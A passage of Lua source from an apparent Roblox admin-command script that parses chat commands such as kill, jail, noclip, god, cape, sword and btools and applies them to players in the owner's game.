a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) end)) end if msg:lower():sub(1,10) == "countdown " then local num = math.min(tonumber(msg:sub(11)),120) for i = num, 1, -1 do coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end)) wait(1) end end if msg:lower():sub(1,3) == "tm " then local chk1 = msg:lower():sub(4):find(" ") + 3 local num = tonumber(msg:sub(4,chk1-1)) Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num) end if msg:lower():sub(1,2) == "m " then Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children()) end if msg:lower():sub(1,2) == "h " then Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children()) end if msg:lower():sub(1,3) == "pm " then local chk1 = msg:lower():sub(4):find(" ") + 3 local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz) end if msg:lower():sub(1,11) == "resetstats " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("leaderstats") then for a, q in pairs(v.leaderstats:children()) do if q:IsA("IntValue") then q.Value = 0 end end end end)) end end if msg:lower():sub(1,5) == "gear " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end obj:Destroy() end end)) end end if msg:lower():sub(1,4) == "hat " then local chk1 = msg:lower():sub(5):find(" ") + 4 local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end obj:Destroy() end end)) end end if msg:lower():sub(1,5) == "cape " then local chk1 = msg:lower():sub(6):find(" ") local plrz = GetPlr(plr, msg:lower():sub(6)) local str = "torso.BrickColor" if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]] if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end if BrickColor.new(teststr) ~= nil then str = teststr end end for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]] cl.Parent = v.PlayerGui cl.Disabled = false end end)) end end if msg:lower():sub(1,7) == "uncape " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character then for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "noclip " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]] cl.Parent = v.PlayerGui cl.Disabled = false end end)) end end if msg:lower():sub(1,5) == "clip " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end v.Character.Torso.Anchored = false wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,5) == "jail " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local vname = v.Name local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0) local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail" local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0) v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) end) local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0) local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3) local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3) local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0) local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0) local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0) local msh2 = msh:Clone() msh2.Parent = back local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1) local msh4 = msh3:Clone() msh4.Parent = left v.Character.Torso.CFrame = cf end end)) end end if msg:lower():sub(1,7) == "unjail " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end end if msg:lower():sub(1,11) == "starttools " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end end end)) end end if msg:lower():sub(1,6) == "sword " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png" sword.GripForward = Vector3.new(-1,0,0) sword.GripPos = Vector3.new(0,0,-1.5) sword.GripRight = Vector3.new(0,1,0) sword.GripUp = Vector3.new(0,0,1) local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0 local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png" local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[ repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local Damage = 15 local SlashSound = Instance.new("Sound", script.Parent.Handle) SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Volume = 1 local LungeSound = Instance.new("Sound", script.Parent.Handle) LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Volume = 1 local UnsheathSound = Instance.new("Sound", script.Parent.Handle) UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Volume = 1 local last = 0 script.Parent.Handle.Touched:connect(function(hit) if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3) hit.Parent.Humanoid:TakeDamage(Damage) end end) script.Parent.Activated:connect(function() if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end script.Parent.Enabled = false local tick = game:service("RunService").Stepped:wait() if tick - last <= .2 then LungeSound:play() local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge" local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0) wait(.2) script.Parent.GripForward = Vector3.new(0,0,1) script.Parent.GripRight = Vector3.new(0,-1,0) script.Parent.GripUp = Vector3.new(-1,0,0) wait(.3) frc:Destroy() wait(.5) script.Parent.GripForward = Vector3.new(-1,0,0) script.Parent.GripRight = Vector3.new(0,1,0) script.Parent.GripUp = Vector3.new(0,0,1) else SlashSound:play() local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash" end last = tick script.Parent.Enabled = true end) script.Parent.Equipped:connect(function(mouse) for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end UnsheathSound:play() script.Parent.Enabled = true if not mouse then return end mouse.Icon = "http://www.roblox.com/asset/?id=103593352" end)]] cl.Disabled = false end end)) end end if msg:lower():sub(1,6) == "clone " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Archivable = true local cl = v.Character:Clone() table.insert(objects,cl) cl.Parent = game.Workspace cl:MoveTo(v.Character:GetModelCFrame().p) cl:MakeJoints() v.Character.Archivable = false end end)) end end if msg:lower():sub(1,8) == "control " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Humanoid.PlatformStand = true local w = Instance.new("Weld", plr.Character.Torso ) w.Part0 = plr.Character.Torso w.Part1 = v.Character.Torso local w2 = Instance.new("Weld", plr.Character.Head) w2.Part0 = plr.Character.Head w2.Part1 = v.Character.Head local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) w3.Part0 = plr.Character:findFirstChild("Right Arm") w3.Part1 = v.Character:findFirstChild("Right Arm") local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm")) w4.Part0 = plr.Character:findFirstChild("Left Arm") w4.Part1 = v.Character:findFirstChild("Left Arm") local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) w5.Part0 = plr.Character:findFirstChild("Right Leg") w5.Part1 = v.Character:findFirstChild("Right Leg") local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) w6.Part0 = plr.Character:findFirstChild("Left Leg") w6.Part1 = v.Character:findFirstChild("Left Leg") plr.Character.Head.face:Destroy() for i, p in pairs(v.Character:children()) do if p:IsA("BasePart") then p.CanCollide = false end end for i, p in pairs(plr.Character:children()) do if p:IsA("BasePart") then p.Transparency = 1 elseif p:IsA("Hat") then p:Destroy() end end v.Character.Parent = plr.Character v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end) end end)) end end if msg:lower():sub(1,5) == "kill " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character:BreakJoints() end end)) end end if msg:lower():sub(1,8) == "respawn " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v:LoadCharacter() end end)) end end if msg:lower():sub(1,5) == "trip " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) end end)) end end if msg:lower():sub(1,5) == "stun " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.PlatformStand = true end end)) end end if msg:lower():sub(1,7) == "unstun " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,5) == "jump " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Jump = true end end)) end end if msg:lower():sub(1,4) == "sit " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Sit = true end end)) end end if msg:lower():sub(1,10) == "invisible " then local plrz = GetPlr(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end end end end)) end end if msg:lower():sub(1,8) == "visible " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end end end end)) end end if msg:lower():sub(1,5) == "lock " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end end end end)) end end if msg:lower():sub(1,7) == "unlock " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end end end end)) end end if msg:lower():sub(1,8) == "explode " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position end end)) end end if msg:lower():sub(1,4) == "age " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end end)) end end if msg:lower():sub(1,5) == "fire " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl) end end)) end end if msg:lower():sub(1,7) == "unfire " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,6) == "smoke " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl) end end)) end end if msg:lower():sub(1,8) == "unsmoke " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,9) == "sparkles " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl) end end)) end end if msg:lower():sub(1,11) == "unsparkles " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,3) == "ff " then local plrz = GetPlr(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then Instance.new("ForceField", v.Character) end end)) end end if msg:lower():sub(1,5) == "unff " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "punish " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Parent = game:service("Lighting") end end)) end end if msg:lower():sub(1,9) == "unpunish " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Parent = game:service("Workspace") v.Character:MakeJoints() end end)) end end if msg:lower():sub(1,7) == "freeze " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0 end end end)) end end if msg:lower():sub(1,5) == "thaw " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16 end end end)) end end if msg:lower():sub(1,5) == "heal " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,4) == "god " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = math.huge v.Character.Humanoid.Health = 9e9 end end)) end end if msg:lower():sub(1,6) == "ungod " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = 100 v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,8) == "ambient " then local chk1 = msg:lower():sub(9):find(" ") + 8 local chk2 = msg:sub(chk1+1):find(" ") + chk1 game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end if msg:lower():sub(1,11) == "brightness " then game.Lighting.Brightness = msg:sub(12) end if msg:lower():sub(1,5) == "time " then game.Lighting.TimeOfDay = msg:sub(6) end if msg:lower():sub(1,9) == "fogcolor " then local chk1 = msg:lower():sub(10):find(" ") + 9 local chk2 = msg:sub(chk1+1):find(" ") + chk1 game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end if msg:lower():sub(1,7) == "fogend " then game.Lighting.FogEnd = msg:sub(8) end if msg:lower():sub(1,9) == "fogstart " then game.Lighting.FogStart = msg:sub(10) end if msg:lower():sub(1,7) == "btools " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool" local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone" local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer" local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize" local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[ repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui") local sb local hs local pdist script.Parent.Selected:connect(function(mouse) if not mouse then return end sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end) hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end) hs.MouseButton1Down:connect(function() pdist = 0 end) end) script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false end end)) end end if msg:lower():sub(1,12) == "startergive " then local chk1 = msg:lower():sub(13):find(" ") + 12 local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then for a, tool in pairs(game.Lighting:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end end end end end)) end end if msg:lower():sub(1,5) == "give " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then for a, tool in pairs(game.Lighting:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end end end end end)) end end if msg:lower():sub(1,12) == "removetools " then local plrz = GetPlr(plr, msg:lower():sub(13)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v:findFirstChild("Backpack") then for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "rank " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:IsInGroup(msg:sub(chk1+1)) then Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr}) elseif v and not v:IsInGroup(msg:sub(chk1+1))then Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr}) end end)) end end if msg:lower():sub(1,7) == "damage " then local chk1 = msg:lower():sub(8):find(" ") + 7 local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid:TakeDamage(msg:sub(chk1+1)) end end)) end end if msg:lower():sub(1,5) == "grav " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and 